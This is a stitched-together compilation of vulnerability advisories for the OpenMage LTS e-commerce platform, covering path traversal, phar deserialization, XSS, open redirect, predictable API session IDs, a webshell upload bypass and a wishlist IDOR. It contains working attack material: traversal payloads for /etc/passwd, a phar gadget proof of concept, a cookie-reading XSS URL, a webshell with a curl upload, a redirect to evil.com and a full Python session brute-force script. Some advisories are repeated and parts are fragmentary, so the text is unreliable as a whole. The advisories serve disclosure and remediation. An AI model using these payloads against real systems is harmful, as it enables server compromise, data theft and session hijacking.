| Input | After str_replace('../', '', ...) | Result | | ------------------------------ | ----------------------------------- | --------- | | ..././ | ../ | Bypass | | ....// | ../ | Bypass | | ..././..././..././etc/passwd | ../../../etc/passwd | File read |

Attack Scenario

1. Attacker gains admin access (via compromised credentials, social engineering, etc.)
2. Navigate to System > Import/Export > Dataflow Profiles
3. Create or modify an import profile
4. Set the files parameter to: ..././..././..././etc/passwd
5. Run the profile to read the contents of /etc/passwd

Proof of Concept

# Request to Dataflow with bypass pattern
GET /admin/system_convert_gui/run/id/1/?files=..././..././..././etc/passwd

# The str_replace removes '../' leaving:
# ..././..././..././etc/passwd -> ../../../etc/passwd

# Final path resolves to:
# /var/www/html/var/import/../../../etc/passwd -> /etc/passwd

Remediation

Replace the weak str_replace() filter with basename() to extract only the filename:

// Before (vulnerable)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

// After (fixed)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . basename(urldecode(Mage::app()->getRequest()->getParam('files')));

Using basename() ensures only the filename portion is used, completely preventing any path traversal regardless of the input pattern.

Workarounds

If immediate upgrade is not possible:

1. Restrict admin access: Limit Dataflow access to trusted administrators only
2. Disable Dataflow: If not in use, disable the Dataflow module entirely
3. Web Application Firewall: Block requests containing path traversal patterns
4. File permissions: Ensure the web server user has minimal filesystem permissions
5. Monitor admin activity: Alert on suspicious Dataflow profile execution

Impact

An attacker with admin access can read sensitive files including:

• /etc/passwd - System user information
• app/etc/local.xml - Database credentials
• .env files - Environment secrets
• Log files - Potentially sensitive application data
• Configuration files - Server and application configuration

Credit

This vulnerability was discovered and responsibly disclosed by blackhat2013 through HackerOne.

Timeline

• 2025-12-31: Vulnerability reported via HackerOne
• 2026-01-21: Fix developed and tested

PHP functions such as getimagesize(), file_exists(), and is_readable() can trigger deserialization when processing phar:// stream wrapper paths. OpenMage LTS uses these functions with potentially controllable file paths during image validation and media handling. An attacker who can upload a malicious phar file (disguised as an image) and trigger one of these functions with a phar:// path can achieve arbitrary code execution.

| Metric | Value | Justification | | ------------------------ | --------- | ------------------------------------------------ | | Attack Vector (AV) | Network | Exploitable via file upload and web requests | | Attack Complexity (AC) | High | Requires file upload + triggering phar:// access | | Privileges Required (PR) | None | Some upload vectors don't require authentication | | User Interaction (UI) | None | Exploitation is automatic once triggered | | Scope (S) | Unchanged | Impacts the vulnerable component | | Confidentiality (C) | High | Full system access via RCE | | Integrity (I) | High | Arbitrary code execution | | Availability (A) | High | Complete system compromise possible |

Affected Products

• OpenMage LTS versions < 20.16.1
• All versions derived from Magento 1.x with these code paths

Affected Files

| File | Line | Vulnerable Function | | --------------------------------------------------------- | ---- | ---------------------------------------------- | | app/code/core/Mage/Core/Model/File/Validator/Image.php | 72 | getimagesize($filePath) | | app/code/core/Mage/Cms/Model/Wysiwyg/Images/Storage.php | 137 | getimagesize($item->getFilename()) | | lib/Varien/Image.php | 71 | $this->_getAdapter()->open($this->_fileName) |

Vulnerability Details

PHP's phar (PHP Archive) format stores metadata that is serialized. When PHP's stream wrapper functions access a file using the phar:// protocol, the metadata is automatically deserialized. This occurs even with seemingly safe functions like file_exists() or getimagesize().

A polyglot file can be crafted that is both a valid image (passing initial validation) and a valid phar archive containing malicious serialized objects. When the application later processes this file using phar://, the deserialization triggers a gadget chain leading to RCE.

Attack Flow

1. Create polyglot file: Attacker creates a file that is both valid JPEG and valid PHAR
2. Upload file: Attacker uploads the polyglot via product images, CMS media, or import
3. Trigger phar:// access: Attacker causes the application to access the file using phar:// wrapper
4. Code execution: PHAR metadata deserialization triggers gadget chain

Proof of Concept

<?php
// Create malicious phar file
class ExploitGadget {
    public $cmd = 'id > /tmp/pwned';
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new ExploitGadget());
$phar->stopBuffering();

// Rename to appear as image
rename('exploit.phar', 'exploit.jpg');

// When getimagesize('phar://path/to/exploit.jpg') is called,
// the ExploitGadget::__destruct() method executes

Remediation

Block phar:// paths before passing to vulnerable functions:

// Before (vulnerable)
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

// After (fixed)
if (str_starts_with($filePath, 'phar://')) {
    throw new Exception('Invalid image path.');
}
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

Additionally, ICO files (which cannot be re-encoded by GD) are now scanned for phar signatures:

• __HALT_COMPILER(); - Required phar stub
• <?php - PHP opening tag
• <?= - PHP short echo tag

Additional hardening measures:

1. ICO uploads removed: ICO file support is completely removed from new image uploads. This eliminates the polyglot attack vector entirely since all other image formats are re-encoded by GD, which strips any embedded phar metadata.

2. Phar wrapper disabled: The phar:// stream wrapper is unregistered at application bootstrap, preventing any phar deserialization attacks regardless of code path.

3. Cache deserialization hardening: All unserialize() calls on cached data now use allowed_classes => false as defense-in-depth.

Note: Existing uploaded ICO files will continue to work. Only new ICO uploads will be rejected. Users are encouraged to use PNG favicons for new uploads.

Workarounds

If immediate upgrade is not possible:

1. Disable phar stream wrapper (if not needed):

   ; php.ini
   disable_functions = phar://
   

   Or in code:

   stream_wrapper_unregister('phar');
   

2. Strict upload validation: Implement additional validation beyond file extension

3. File storage isolation: Store uploads outside web root with randomized names

4. Web Application Firewall: Block requests containing phar:// in parameters

Credit

This vulnerability was discovered and responsibly disclosed by blackhat2013 through HackerOne.

Timeline

• 2025-12-31: Vulnerability reported via HackerOne
• 2026-01-21: Fix developed and tested

Source: https://hackerone.com/reports/3482926

Impact

The admin url can be discovered without prior knowledge of it's location by exploiting the X-Original-Url header on some configurations.

Patches

The bug comes from the Zend library and is patche by unsetting the header in the bootstrap process.

Workarounds

Unset the X-Original-Url header in the web server configuration.

References

The activation of these headers is coming from the Zend_Controller module. It appears this has been known to some degree since 2016 - https://peterocallaghan.co.uk/2016/12/magento-poisoning-cache/ (dead link now..)

Credit

Anees Hyder ( @anees0xdev ) via HackerOne https://hackerone.com/anees0x_dev/hacktivity

A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.

Steps to produce

• Login to the admin panel

• Go to the path System -> Import/Export -> Dataflow - Profiles

• Select profile direction as Import.

• Click on Import Customers

• Upload the file.

File Link: customer_20260212_204335.csv

• Go back to Run profile.

• Select the uploaded file and Click on Run in Popup.

• One can see a URL like this

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/

• One can see the filename getting reflection in HTML tags.

• Inject an HTML tag and observe.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/

• One can see the tag is getting executed.

• Proceed for XSS.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E

• There is an XSS popup.

Impact

Cookie stealing, JS deface, many more

Summary

Mage_ProductAlert_AddController::stockAction() reads the uenc query parameter and passes it directly to $this->_redirectUrl($backUrl) without calling $this->_isUrlInternal() When the supplied product_id does not match any catalog product, the server issues an unvalidated HTTP 302 redirect to whatever URL was provided as uenc.

Vulnerable path:

// app/code/core/Mage/ProductAlert/controllers/AddController.php : stockAction()

$backUrl = $this->getRequest()->getParam(Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED);  // raw, no decode
$productId = (int) $this->getRequest()->getParam('product_id');

if (!$backUrl || !$productId) {
    $this->_redirect('/');
    return;
}

$product = Mage::getModel('catalog/product')->load($productId);

if (!$product->getId()) {
    $session->addError($this->__('Not enough parameters.'));
    $this->_redirectUrl($backUrl);   // ← NO _isUrlInternal() check
    return;
}

Secure peer (priceAction()):

if (!$product->getId()) {
    if ($this->_isUrlInternal($backUrl)) {  // ← validation present
        $this->_redirectUrl($backUrl);
    } else {
        $this->_redirect('/');
    }
    return;
}

Steps to Reproduce

Prerequisites

• OpenMage LTS ≤ 20.16.0 with Product Alerts enabled (default configuration)
• A valid, logged-in customer session on the target store

Step 1 – Authenticate as a Customer (Attacker controls the crafted link; victim must be logged in)

The preDispatch() hook calls Mage::getSingleton('customer/session')->authenticate($this). If the request comes from an unauthenticated user, they are redirected to the login page first. The open redirect only fires after the customer is authenticated. This is the realistic attack scenario: the attacker sends a crafted link to a customer who is already logged in.

Step 2 – Craft the Malicious URL

The uenc parameter is read raw via getParam() with no base64 decoding in this code path. A plain URL is sufficient and produces the redirect:

GET /productalert/add/stock/?product_id=99999&uenc=https://evil.com/steal-credentials HTTP/1.1
Host: <store-hostname>
Cookie: om_frontend=<authenticated-session>

Key conditions:

• product_id must reference a non-existent product (triggers the vulnerable branch; any large ID works)
• uenc is the raw destination URL (no base64 encoding required)

Impact

Technical Impact

An attacker who controls the uenc parameter value can redirect any logged-in shopper to an arbitrary external URL. Because the redirect originates from the legitimate store domain, the victim’s browser shows the trusted store URL in the address bar momentarily before being sent to the attacker site. The HTTP 302 response exits the store’s origin before the browser shows anything to the user.

Business-Level Attack Vectors

| Scenario | Description | |------------------------|-----------------------------------------------------------------------------| | Credential phishing | Craft a link claiming to show a stock notification. Customer lands on attacker’s login clone and reuses their password. | | OAuth / SSO token theft| If the store uses a social login or “Login with Google” flow, the attacker can inject their redirect_uri via the open redirect, stealing OAuth tokens. | | Affiliate fraud | Redirect customers from the legitimate store to a competing retailer after they click a “notify me” link. | | Malware distribution | Redirect to drive-by-download pages with the store’s reputation acting as social proof. |

Propagation

A single malicious link can be embedded in:

• Customer emails (“Click here for stock notification preferences”)
• Forum posts, social media, or product reviews on the store
• SEO-poisoned search results that rank the store’s domain

Recommended Fix

Apply the same _isUrlInternal() guard used in priceAction() to the stockAction() missing-product

This is an AI-generated report.

An attempt was made to test the same PoC against the online demo https://demo.openmage.org/ but it couldn't be reproduced. It was only reproduced against the local setup env against the latest version.

Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)

Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method

Summary

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

All inputs to the MD5 hash are time-derived and non-secure:

| Input | Value | Predictability | |----------------------------|---------------------------------------------------|----------------------------------------| | time() | Unix timestamp (seconds) | Fully predictable | | uniqid('', true) prefix | sprintf('%08x%05x', $sec, $usec/10) | Highly predictable via network timing | | uniqid('', true) suffix | php_combined_lcg() decimal float | Process-state dependent (getpid() ^ time()) | | $sessionName | null (empty) — called without arg | Constant |

Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.

Technical Analysis

Code Path

POST /api/xmlrpc/ → login(username, apiKey)
  → Mage_Api_Model_Session::login()
      → $session->init('api', 'api')
          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
              # $sessionName is NOT forwarded to start()
              → Mage_Api_Model_Session::start()  ← NO $sessionName argument
                  # $sessionName = null inside start()
                  $this->_currentSessId = md5(time() . uniqid('', true) . null)

Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).

Live Evidence

Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):

Sample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)

The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.

Steps to Reproduce (Online Brute-Force Scenario)

Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.

Step 1 – Record Login Timestamp

An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.

Step 2 – Generate Candidate Pool

The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).

$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants

Step 3 – API Brute-Force (Session Hijack)

Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.

POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
  <methodName>[magento.info](http://magento.info/)</methodName>
  <params>
    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>
  </params>
</methodCall>

A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.

Impact

Technical Impact

Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:

• Full product catalog read/write (catalog_product.*)
• Customer data read (customer.list, customer.info)
• Order manipulation (sales_order.*) Inventory control (cataloginventory_stock_item.*)

Business Impact

• Data Exfiltration: Read all customer PII, order history, and payment methods.
• Order Fraud: Create or cancel orders, change shipping addresses.
• Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.

Affected API Protocols

The same vulnerable Session.php generation logic is shared across all legacy API surfaces:

• XML-RPC: /api/xmlrpc/
• SOAP v1: /api/soap/
• SOAP v2: /api/v2_soap/
• REST (legacy): /api/rest/

Recommended Fix

Replace the time-derived token with a cryptographically secure random value:

// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);

// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output

random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.

I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment

I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):

#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()

if len(sys.argv) < 4:
    sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")

url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)

print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')

if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
    sys.exit("[-] Login failed. Check credentials.")

print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)

print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
    payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
    try: return sid if "faultCode" not in req(payload).text else None
    except: return None

with ThreadPoolExecutor(max_workers=th) as ex:
    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
        sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
        if sid := f.result():
            print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
            ex.shutdown(wait=False, cancel_futures=True)
            break

This is an AI-generated report validated by a human.

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

• Project: OpenMage/magento-lts
• Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
• Vulnerable Lines: 230-237 (_validateUploadedFile())
• Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result:

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

Affected Deployments

| Configuration | Status | |---------------|--------| | Apache + mod_php (with php_flag engine 0) | SAFE | | Apache + PHP-FPM | VULNERABLE | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | VULNERABLE |

Impact

1. Remote Code Execution: Full server compromise through webshell upload
2. Data Exfiltration: Access to database credentials, customer PII, payment data
3. Lateral Movement: Pivot to internal infrastructure
4. Supply Chain: Inject malicious code into served content

Cross-user wishlist item import via shared wishlist code, leading to private option disclosure and file-disclosure variant

Summary

The shared wishlist add-to-cart endpoint authorizes access with a public sharing_code, but loads the acted-on wishlist item by a separate global wishlist_item_id and never verifies that the item belongs to the shared wishlist referenced by that code.

This lets an attacker use:

• a valid shared wishlist code for wishlist A
• a wishlist item ID belonging to victim wishlist B

to import victim item B into the attacker's cart through the shared wishlist flow for wishlist A.

Because the victim item's stored buyRequest is reused during cart import, the victim's private custom-option data is copied into the attacker's quote. If the product uses a file custom option, this can be elevated to cross-user file disclosure because the imported file metadata is preserved and the download endpoint is not ownership-bound.

Vulnerability Type

• Broken object-level authorization / IDOR
• Cross-user data disclosure
• Cross-user file disclosure variant

Root Cause

In app/code/core/Mage/Wishlist/controllers/SharedController.php, the shared flow does:

$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);
...
$item->addToCart($cart);

Relevant lines:

• SharedController.php:86 loads the wishlist item by global ID
• SharedController.php:87 loads the wishlist by shared code
• SharedController.php:99 imports the item into cart

There is no check that:

$item->getWishlistId() == $wishlist->getId()

The safe owner flow in app/code/core/Mage/Wishlist/controllers/IndexController.php:521-528 does preserve this binding by deriving the wishlist from item->getWishlistId().

The imported item keeps its original buyRequest because app/code/core/Mage/Wishlist/Model/Item.php:370-372 passes that stored request directly into:

$cart->addProduct($product, $buyRequest);

Security Impact

Baseline impact

An attacker can import another user's private wishlist item into the attacker's own cart, using an unrelated shared wishlist code.

This is a clear cross-user authorization bypass. The victim item's private configuration is copied into the attacker's quote, including custom-option values such as personalized text.

Stronger variant: cross-user file disclosure

If the victim item contains a custom option of type file, the imported quote item preserves file metadata such as:

• quote_path
• order_path
• secret_key

The file option renderer in app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:547-552 generates a download URL from:

• the imported sales/quote_item_option ID
• the preserved secret_key

The downloader in app/code/core/Mage/Sales/controllers/DownloadController.php:150-185:

• loads quote item option by global ID
• verifies only product option type and secret_key
• reads the file from order_path or quote_path

It does not verify ownership of the quote item, order, or original wishlist item. This creates a cross-user file disclosure path once victim file metadata has been imported.

Steps To Reproduce

Lab data

• shared wishlist A:
  • wishlist_id = 1
  • customer_id = 2
  • sharing_code = 6376bb8c37a09c2de3664bd8cdc16412
• victim wishlist B:
  • wishlist_id = 2
  • customer_id = 3
• victim item:
  • wishlist_item_id = 1
  • wishlist_id = 2
  • product_id = 2
• victim private text option marker:
  • VICTIM-MARKER-49040822

Reproduction

Send:

GET /wishlist/shared/cart/?code=6376bb8c37a09c2de3664bd8cdc16412&item=1

Where:

• code belongs to shared wishlist A
• item=1 belongs to victim wishlist B

Expected result

The request should be rejected because the item does not belong to the shared wishlist referenced by the sharing_code.

Actual result

The application imports victim item 1 into the attacker's quote anyway.

Verified Evidence

Baseline variant

Previously verified at quote/option level in lab:

option_1 = VICTIM-MARKER-49040822

This shows that the attacker's cart received victim-private custom-option data from another user's wishlist item.

File-disclosure variant

Previously verified in lab after importing a victim file-option payload:

/sales/download/downloadCustomOption/id/9/key/86fca9b61c0b891b52fb/

This URL was generated from imported quote item option data containing the victim file metadata and secret key.

Why This Is A Valid Bug

This is not a timing issue and does not depend on non-default security settings.

The bug is a direct authorization failure:

• authorization is based on wishlist A's share code
• the acted-on object is item B from another wishlist
• there is no item-to-wishlist binding check
• victim-controlled item state is then copied into attacker-controlled cart state

That is a broken object-level authorization issue with clear cross-user impact.

Remediation

In SharedController::cartAction(), reject any request where the loaded item does not belong to the wishlist loaded from the share code:

$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);

if (!$item->getId() || !$wishlist->getId() || (int) $item->getWishlistId() !== (int) $wishlist->getId()) {
    return $this->_forward('noRoute');
}

Defense in depth:

• bind sales/download/downloadCustomOption to the current quote/order owner instead of trusting only id + secret_key

The Dataflow module in OpenMage LTS uses a weak blacklist filter (str_replace('../', '', $input)) to prevent path traversal attacks. This filter can be bypassed using patterns like ..././ or ....//, which after the replacement still result in ../. An authenticated administrator can exploit this to read arbitrary files from the server filesystem.

| Metric | Value | Justification | | ------------------------ | --------- | ------------------------------------- | | Attack Vector (AV) | Network | Exploitable via admin panel | | Attack Complexity (AC) | Low | Simple bypass pattern | | Privileges Required (PR) | High | Requires admin authentication | | User Interaction (UI) | None | No additional user interaction needed | | Scope (S) | Unchanged | Impacts the vulnerable component | | Confidentiality (C) | High | Can read sensitive system files | | Integrity (I) | None | Read-only vulnerability | | Availability (A) | None | No impact on availability |

Affected Products

• OpenMage LTS versions < 20.16.1
• All versions derived from Magento 1.x with these code paths

Affected Files

| File | Line | Vulnerable Code | | ------------------------------------------------------------ | ---- | ---------------------------------------- | | app/code/core/Mage/Dataflow/Model/Convert/Parser/Csv.php | 67 | str_replace('../', '', urldecode(...)) | | app/code/core/Mage/Dataflow/Model/Convert/Parser/Xml/Excel.php | 63 | str_replace('../', '', urldecode(...)) |

Vulnerability Details

The Dataflow module allows administrators to import data from files. The files parameter specifies which file to import from the var/import/ directory. To prevent path traversal, the code uses str_replace() to remove ../ sequences:

$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

However, str_replace() only performs a single pass, making it trivially bypassable:

Bypass Examples

| Input | After str_replace('../', '', ...) | Result | | ------------------------------ | ----------------------------------- | --------- | | ..././ | ../ | Bypass | | ....// | ../ | Bypass | | ..././..././..././etc/passwd | ../../../etc/passwd | File read |

Attack Scenario

1. Attacker gains admin access (via compromised credentials, social engineering, etc.)
2. Navigate to System > Import/Export > Dataflow Profiles
3. Create or modify an import profile
4. Set the files parameter to: ..././..././..././etc/passwd
5. Run the profile to read the contents of /etc/passwd

Proof of Concept

# Request to Dataflow with bypass pattern
GET /admin/system_convert_gui/run/id/1/?files=..././..././..././etc/passwd

# The str_replace removes '../' leaving:
# ..././..././..././etc/passwd -> ../../../etc/passwd

# Final path resolves to:
# /var/www/html/var/import/../../../etc/passwd -> /etc/passwd

Remediation

Replace the weak str_replace() filter with basename() to extract only the filename:

// Before (vulnerable)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

// After (fixed)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . basename(urldecode(Mage::app()->getRequest()->getParam('files')));

Using basename() ensures only the filename portion is used, completely preventing any path traversal regardless of the input pattern.

Workarounds

If immediate upgrade is not possible:

1. Restrict admin access: Limit Dataflow access to trusted administrators only
2. Disable Dataflow: If not in use, disable the Dataflow module entirely
3. Web Application Firewall: Block requests containing path traversal patterns
4. File permissions: Ensure the web server user has minimal filesystem permissions
5. Monitor admin activity: Alert on suspicious Dataflow profile execution

Impact

An attacker with admin access can read sensitive files including:

• /etc/passwd - System user information
• app/etc/local.xml - Database credentials
• .env files - Environment secrets
• Log files - Potentially sensitive application data
• Configuration files - Server and application configuration

Credit

This vulnerability was discovered and responsibly disclosed by blackhat2013 through HackerOne.

Timeline

• 2025-12-31: Vulnerability reported via HackerOne
• 2026-01-21: Fix developed and tested

PHP functions such as getimagesize(), file_exists(), and is_readable() can trigger deserialization when processing phar:// stream wrapper paths. OpenMage LTS uses these functions with potentially controllable file paths during image validation and media handling. An attacker who can upload a malicious phar file (disguised as an image) and trigger one of these functions with a phar:// path can achieve arbitrary code execution.

| Metric | Value | Justification | | ------------------------ | --------- | ------------------------------------------------ | | Attack Vector (AV) | Network | Exploitable via file upload and web requests | | Attack Complexity (AC) | High | Requires file upload + triggering phar:// access | | Privileges Required (PR) | None | Some upload vectors don't require authentication | | User Interaction (UI) | None | Exploitation is automatic once triggered | | Scope (S) | Unchanged | Impacts the vulnerable component | | Confidentiality (C) | High | Full system access via RCE | | Integrity (I) | High | Arbitrary code execution | | Availability (A) | High | Complete system compromise possible |

Affected Products

• OpenMage LTS versions < 20.16.1
• All versions derived from Magento 1.x with these code paths

Affected Files

| File | Line | Vulnerable Function | | --------------------------------------------------------- | ---- | ---------------------------------------------- | | app/code/core/Mage/Core/Model/File/Validator/Image.php | 72 | getimagesize($filePath) | | app/code/core/Mage/Cms/Model/Wysiwyg/Images/Storage.php | 137 | getimagesize($item->getFilename()) | | lib/Varien/Image.php | 71 | $this->_getAdapter()->open($this->_fileName) |

Vulnerability Details

PHP's phar (PHP Archive) format stores metadata that is serialized. When PHP's stream wrapper functions access a file using the phar:// protocol, the metadata is automatically deserialized. This occurs even with seemingly safe functions like file_exists() or getimagesize().

A polyglot file can be crafted that is both a valid image (passing initial validation) and a valid phar archive containing malicious serialized objects. When the application later processes this file using phar://, the deserialization triggers a gadget chain leading to RCE.

Attack Flow

1. Create polyglot file: Attacker creates a file that is both valid JPEG and valid PHAR
2. Upload file: Attacker uploads the polyglot via product images, CMS media, or import
3. Trigger phar:// access: Attacker causes the application to access the file using phar:// wrapper
4. Code execution: PHAR metadata deserialization triggers gadget chain

Proof of Concept

<?php
// Create malicious phar file
class ExploitGadget {
    public $cmd = 'id > /tmp/pwned';
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new ExploitGadget());
$phar->stopBuffering();

// Rename to appear as image
rename('exploit.phar', 'exploit.jpg');

// When getimagesize('phar://path/to/exploit.jpg') is called,
// the ExploitGadget::__destruct() method executes

Remediation

Block phar:// paths before passing to vulnerable functions:

// Before (vulnerable)
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

// After (fixed)
if (str_starts_with($filePath, 'phar://')) {
    throw new Exception('Invalid image path.');
}
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

